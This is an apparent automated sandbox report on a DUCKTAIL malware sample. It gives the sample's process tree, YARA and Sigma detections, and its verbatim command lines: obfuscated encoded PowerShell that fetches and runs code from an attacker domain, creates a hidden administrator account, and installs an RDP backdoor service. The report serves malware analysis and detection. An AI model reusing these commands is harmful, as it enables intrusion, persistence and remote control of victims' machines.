    • powershell.exe (PID: 4660 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 4764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4316 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • sc.exe (PID: 8216 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
    • cmd.exe (PID: 8308 cmdline: "cmd.exe" /c sc stop "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • sc.exe (PID: 8352 cmdline: sc stop "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
    • cmd.exe (PID: 8440 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • sc.exe (PID: 8560 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
    • cmd.exe (PID: 8668 cmdline: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • sc.exe (PID: 8812 cmdline: sc delete "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • sc.exe (PID: 8772 cmdline: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • net.exe (PID: 8912 cmdline: net start "myRdpService" MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
        • net1.exe (PID: 8864 cmdline: C:\Windows\system32\net1 start "myRdpService" MD5: BA0BCCC6029FBBE6D8B41197F252742F)
    • powershell.exe (PID: 5152 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 1536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 2756 cmdline: "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init""" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 3476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • rdp.exe (PID: 7036 cmdline: rdp.exe -i MD5: BFF2365257251B6BA227A5E748DBD62E)
  • myRdpService.exe (PID: 8944 cmdline: C:\Windows\Temp\myRdpService.exe cakoi10 MD5: F651568CD1F1A7ABAEDD4389DA3A2F14)
    • regedit.exe (PID: 9144 cmdline: "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService" MD5: 999A30979F6195BF562068639FFC4426)
    • powershell.exe (PID: 2044 cmdline: "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 3256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • systeminfo.exe (PID: 2268 cmdline: "C:\Windows\system32\systeminfo.exe" MD5: EE309A9C61511E907D87B10EF226FDCD)
    • cmd.exe (PID: 2112 cmdline: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • powershell.exe (PID: 9372 cmdline: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 04029E121A0CFA5991749937DD22A1D9)
  • svchost.exe (PID: 1212 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -s TermService MD5: F586835082F632DC8D9404D83BC16316)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DUCKTAILAccording to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
4YgQ2xN41W.lnkJoeSecurity_ObfuscatedPowershellYara detected Obfuscated PowershellJoe Security
    4YgQ2xN41W.lnkSUSP_PowerShell_Caret_Obfuscation_2Detects powershell keyword obfuscated with caretsFlorian Roth
    • 0x86:$r1: P^O^wers^h^E^l^L
    • 0x86:$r2: P^O^wers^h^E^l^L

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Windows\Temp\rdp.exeJoeSecurity_RDPWrapToolYara detected RDPWrap ToolJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      0000002F.00000002.2315535899.00007FF64AE26000.00000004.00000001.01000000.0000000C.sdmphacktool_windows_moyix_creddumpcreddump is a python tool to extract credentials and secrets from Windows registry hives.@mimeframe
      • 0xdac4:$a1: !@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%
      • 0x11f94:$a2: 0123456789012345678901234567890123456789
      • 0x328ac:$a3: NTPASSWORD
      • 0x2f774:$a4: LMPASSWORD
      • 0x5cc54:$a5: aad3b435b51404eeaad3b435b51404ee
      • 0x14f54:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
      00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_RDPWrapToolYara detected RDPWrap ToolJoe Security
        Process Memory Space: powershell.exe PID: 7764INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
        • 0x917be:$b1: ::WriteAllBytes(
        • 0x3e2483:$b1: ::WriteAllBytes(
        • 0x93c14:$b2: ::FromBase64String(
        • 0x9ba77:$b2: ::FromBase64String(
        • 0x9c078:$b2: ::FromBase64String(
        • 0x9c3f5:$b2: ::FromBase64String(
        • 0x9c695:$b2: ::FromBase64String(
        • 0x9c71d:$b2: ::FromBase64String(
        • 0x9c786:$b2: ::FromBase64String(
        • 0x9c7e9:$b2: ::FromBase64String(
        • 0x9c850:$b2: ::FromBase64String(
        • 0x9c8b3:$b2: ::FromBase64String(
        • 0x9c958:$b2: ::FromBase64String(
        • 0x9c9b7:$b2: ::FromBase64String(
        • 0x9ca29:$b2: ::FromBase64String(
        • 0x9ca87:$b2: ::FromBase64String(
        • 0x9caea:$b2: ::FromBase64String(
        • 0x9cb4b:$b2: ::FromBase64String(
        • 0x9cbd5:$b2: ::FromBase64String(
        • 0x9cc3a:$b2: ::FromBase64String(
        • 0x9cca1:$b2: ::FromBase64String(
        Process Memory Space: powershell.exe PID: 7900INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
        • 0x25f4d8:$b1: ::WriteAllBytes(
        • 0x24e53f:$b2: ::FromBase64String(
        • 0x2506b9:$b2: ::FromBase64String(
        • 0x251445:$b2: ::FromBase64String(
        • 0x2514bb:$b2: ::FromBase64String(
        • 0x2570aa:$b2: ::FromBase64String(
        • 0x213ceb:$b3: ::UTF8.GetString(
        • 0xc57f:$s1: -join
        • 0xce8a:$s1: -join
        • 0x156084:$s1: -join
        • 0xdcdec:$s3: Reverse
        • 0xe4d93:$s3: Reverse
        • 0xe4db2:$s3: Reverse
        • 0xe8867:$s3: Reverse
        • 0xe88ac:$s3: Reverse
        • 0xf160d:$s3: Reverse
        • 0xf1626:$s3: Reverse
        • 0xf51aa:$s3: Reverse
        • 0x19c5da:$s3: reverse
        • 0x1a8944:$s3: reverse
        • 0x1df633:$s3: reverse
        Process Memory Space: svczHost.exe PID: 9528JoeSecurity_RDPWrapToolYara detected RDPWrap ToolJoe Security
          Click to see the 2 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          58.0.rdp.exe.8f0000.0.unpackJoeSecurity_RDPWrapToolYara detected RDPWrap ToolJoe Security
            47.2.myRdpService.exe.7ff64a920000.0.unpackhacktool_windows_moyix_creddumpcreddump is a python tool to extract credentials and secrets from Windows registry hives.@mimeframe
            • 0x5118c4:$a1: !@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%
            • 0x515d94:$a2: 0123456789012345678901234567890123456789
            • 0x5366ac:$a3: NTPASSWORD
            • 0x533574:$a4: LMPASSWORD
            • 0x560a54:$a5: aad3b435b51404eeaad3b435b51404ee
            • 0x518d54:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0

            Other

            SourceRuleDescriptionAuthorStrings
            amsi64_7900.amsi.csvINDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
            • 0xc5e7:$b1: ::WriteAllBytes(
            • 0x8a3c:$b2: ::FromBase64String(
            • 0xabb7:$b2: ::FromBase64String(
            • 0xb944:$b2: ::FromBase64String(
            • 0x52e:$b3: ::UTF8.GetString(
            • 0x868d:$s1: -join
            • 0x23e:$s4: +=
            • 0x261:$s4: +=
            • 0x1e39:$s4: +=
            • 0x1efb:$s4: +=
            • 0x6122:$s4: +=
            • 0x823f:$s4: +=
            • 0x8529:$s4: +=
            • 0x866f:$s4: +=
            • 0xbb01:$s4: +=
            • 0xbcfe:$s4: +=
            • 0xdfbe:$s4: +=
            • 0x5e9d1:$s4: +=
            • 0x6347a:$s4: +=
            • 0x634fa:$s4: +=
            • 0x635c0:$s4: +=

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Invoke-Obfuscation CLIP+ Launcher
            Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init""", CommandLine: "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init""", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Temp\svczHost.exe cakoi10 uyt1n8ded9fb380.com, ParentImage: C:\Windows\Temp\svczHost.exe, ParentProcessId: 9528, ParentProcessName: svczHost.exe, ProcessCommandLine: "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init""", ProcessId: 2756, ProcessName: cmd.exe
            Sigma detected: Invoke-Obfuscation VAR+ Launcher
            Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init""", CommandLine: "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init""", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Temp\svczHost.exe cakoi10 uyt1n8ded9fb380.com, ParentImage: C:\Windows\Temp\svczHost.exe, ParentProcessId: 9528, ParentProcessName: svczHost.exe, ProcessCommandLine: "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init""", ProcessId: 2756, ProcessName: cmd.exe
            Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, CommandLine: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 5028, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, ProcessId: 4148, ProcessName: cmd.exe
            Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, CommandLine: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 5028, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit, ProcessId: 4148, ProcessName: cmd.exe
            Sigma detected: PowerShell Base64 Encoded Invoke Keyword
            Source: Process startedAuthor: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQB
            Sigma detected: PowerShell Base64 Encoded WMI Classes
